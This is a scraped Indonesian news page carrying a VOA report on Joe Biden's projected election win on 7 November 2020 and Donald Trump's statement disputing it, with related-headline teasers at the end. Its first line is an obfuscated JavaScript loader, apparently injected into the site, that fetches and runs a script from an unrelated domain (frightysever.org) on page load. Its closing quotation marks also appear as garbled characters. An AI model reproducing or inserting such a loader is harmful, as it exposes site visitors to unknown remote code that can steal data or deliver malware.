(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, WASHINGTON – Joe Biden diproyeksikan sebagai Presiden Terpilih AS, Sabtu pagi (7/11/2020), setelah meraih tambahan 20 suara elektoral dari Pennsylvania, menjadikannya meraih 273 kursi elektoral.
Lima negara bagian lain masih terus melangsungkan penghitungan suara, termasuk negara bagian Georgia yang melakukan penghitungan ulang sejak Jumat (6/11/2020).
Beberapa menit setelah menerima kabar proyeksi kemenangannya, Joe Biden mencuit di Twitter, “Amerika, saya merasa terhormat telah terpilih untuk memimpin negara kita yang hebat ini. Pekerjaan ke depan akan sulit, tetapi saya berjanji akan menjadi presiden untuk seluruh warga Amerika, baik yang memilih saya atau tidak. Saya akan menjaga keyakinan yang telah diberikan pada saya.â€
Tak lama kemudian ia mengeluarkan pernyataan tertulis yang kurang lebih sama. “Saya merasa terhormat dan rendah hati atas kepercayaan yang diberikan rakyat Amerika kepada saya dan Wakil Presiden Kamala Harris.â€
Ia juga menegaskan bahwa besarnya jumlah partisipasi politik dalam pemilihan presiden ini “membuktikan sekali lagi bahwa demokrat berdenyut kencang di Amerika.â€
Biden telah berada di dalam lingkaran politik Amerika selama hampir setengah abad dan diproyeksikan akan memenangkan pemilihan presiden. Ketika ia dilantik pada 20 Januari nanti, ia akan menjadi pemimpin tertua dalam sejarah Amerika.
Biden, yang telah menjabat di Senat Amerika selama 36 tahun dan delapan tahun sebagai pendamping mantan presiden Barack Obama, diproyeksikan oleh sejumlah kantor berita mengalahkan petahana Presiden Donald Trump dari Partai Republik, dalam sebuah kampanye yang sengit, beberapa hari setelah pemilihan presiden 3 November. Hasil penghitungan suara di seluruh negara bagian masih harus disertifikasi secara resmi dan masih akan menghadapi beberapa gugatan hukum, tetapi diperkirakan tidak akan mengubah proyeksi kemenangan ini.
Tak lama setelah Biden keluarkan tweet-nya, dalam pernyataannya, Presiden Trump katakan Joe Biden terburu-buru menyatakan kemenangannya karena tidak ingin kebenaran terungkap. “Kenyataannya sederhana, pemilu jauh dari selesai. Joe Biden belum disahkan sebagai pemenang di negara bagian manapun, apalagi di negara bagian yang masih harus melakukan penghitungan ulang, atau di negara bagian di mana tim kampanye kami telah mengajukan tuntutan hukum sah yang pada akhirnya akan menentukan pemenang sesungguhnya.â€
“Suara yang legal yang menentukan siapa yang jadi presiden, bukan media,†tambahnya.
Ia juga mengatakan mulai hari Senin (9/11), tim kampanyenya akan memulai proses hukum untuk memastikan hukum pemilu ditegakkan sepenuhnya, dan pemenang yang sah yang menduduki jabatan. (em/dw/aa)
Reporter: Tim VOA Indonesia
Editor: VOA
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.